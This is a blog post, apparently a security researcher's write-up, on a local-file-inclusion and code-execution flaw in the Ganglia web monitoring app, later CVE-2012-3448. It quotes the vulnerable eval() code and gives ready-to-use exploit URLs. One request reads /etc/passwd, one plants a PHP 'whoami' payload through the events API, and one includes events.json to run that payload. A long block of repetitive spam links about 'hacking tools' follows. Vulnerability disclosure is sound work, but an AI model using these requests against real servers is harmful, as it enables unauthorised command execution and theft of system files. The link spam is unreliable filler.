http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related news
- Tools 4 Hack
- Hacks And Tools
- Hacker Tools 2020
- Wifi Hacker Tools For Windows
- Hacker Tools 2019
- Pentest Tools Subdomain
- Easy Hack Tools
- Hacking Tools Windows 10
- Hacking Tools And Software
- Pentest Tools Apk
- Hacker Tools Mac
- Hacker Tools Online
- Hacker Security Tools
- Growth Hacker Tools
- Hacker Tools 2019
- Bluetooth Hacking Tools Kali
- Hacking Tools Software
- New Hacker Tools
- Usb Pentest Tools
- Hacker Security Tools
- Hack Tools Download
- Hacking Tools Free Download
- Pentest Tools Subdomain
- Pentest Tools Website Vulnerability
- Hacker Tools Software
- Hack Website Online Tool
- Hacking Tools For Windows
- Pentest Tools Port Scanner
- Hacker Tools Mac
- Pentest Tools Find Subdomains
- Hack Tool Apk
- Pentest Tools For Mac
- Hackrf Tools
- Bluetooth Hacking Tools Kali
- Pentest Tools List
- Pentest Tools Online
- Hack Tools For Games
- Pentest Tools Github
- Hacking Tools Windows 10
- How To Install Pentest Tools In Ubuntu
- Pentest Tools For Android
- Hack Tools
- Bluetooth Hacking Tools Kali
- Hacker Tools List
- Hacker Security Tools
- Hacking Tools For Windows 7
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Subdomain
- Hacker Tools Github
- Hacking Tools For Pc
- Hackrf Tools
- Pentest Tools Port Scanner
- Hacking Tools For Windows
- Ethical Hacker Tools
- Easy Hack Tools
- Pentest Box Tools Download
- Pentest Tools Bluekeep
- Hacking Tools For Kali Linux
- Hack Tools
- Beginner Hacker Tools
- Hacker Tools Github
- Hacker Tools For Mac
- Pentest Tools Bluekeep
- Ethical Hacker Tools
- Termux Hacking Tools 2019
- Pentest Tools Windows
- New Hack Tools
- Hak5 Tools
- Hacking Apps
- Pentest Tools Nmap
- Pentest Automation Tools
- Hacking Tools Software
- Hacking Tools For Pc
- Hack Tools For Ubuntu
- Hacking Tools Windows
- What Are Hacking Tools
- Pentest Tools Framework
- Pentest Reporting Tools
- Hacker Tools Windows
- Pentest Tools Apk
- Hak5 Tools
- Pentest Tools Kali Linux
- Hacker Tools
- Hacking Tools Download
- Hacker Tools Github
- Hacker Tools Software
- Hackrf Tools
- Hacker Tools For Mac
- Hacker Tools Linux
- Easy Hack Tools
- Hacking Tools For Games
- Kik Hack Tools
- Pentest Tools Website Vulnerability
- Hack Tools 2019
- Best Pentesting Tools 2018
- Hacker Tools
- Android Hack Tools Github
- New Hacker Tools
- Top Pentest Tools
- Best Pentesting Tools 2018
- Hack Website Online Tool
- Pentest Tools For Android
- Hack Website Online Tool
- Wifi Hacker Tools For Windows
- How To Hack
- Pentest Recon Tools
- Tools For Hacker
- How To Make Hacking Tools
- Hack Tools Mac
- Hack Website Online Tool
- Pentest Tools Subdomain
- Beginner Hacker Tools
- Hacker Tools Linux
- Best Hacking Tools 2019
- Hacker Tools For Ios
- Pentest Tools Nmap
- Hacking Tools Github
- Hack Tool Apk
- Hacker Tools Mac
- Hacker Tools 2020
- Hacking Tools For Windows Free Download
- Hacker Tools List
- Pentest Tools Github
- Hacking Tools Online
- Pentest Box Tools Download
- Pentest Tools Find Subdomains
- Nsa Hack Tools Download
- Hack Tool Apk
- Hack Rom Tools
- Hacking Tools Download
- Hacking Tools Online
- Hack Tools For Ubuntu
- Hacking Tools Free Download
- Hacker Tools Mac
- Hacker Tools
- Hacker Tools Github
- Hackrf Tools
- Growth Hacker Tools
- Hacker
- How To Hack
- Hacker Tool Kit
- Hack Tools
- Nsa Hack Tools
- Pentest Tools Framework
- Hacker Tools Free Download
- Hack Tools Online
No comments:
Post a Comment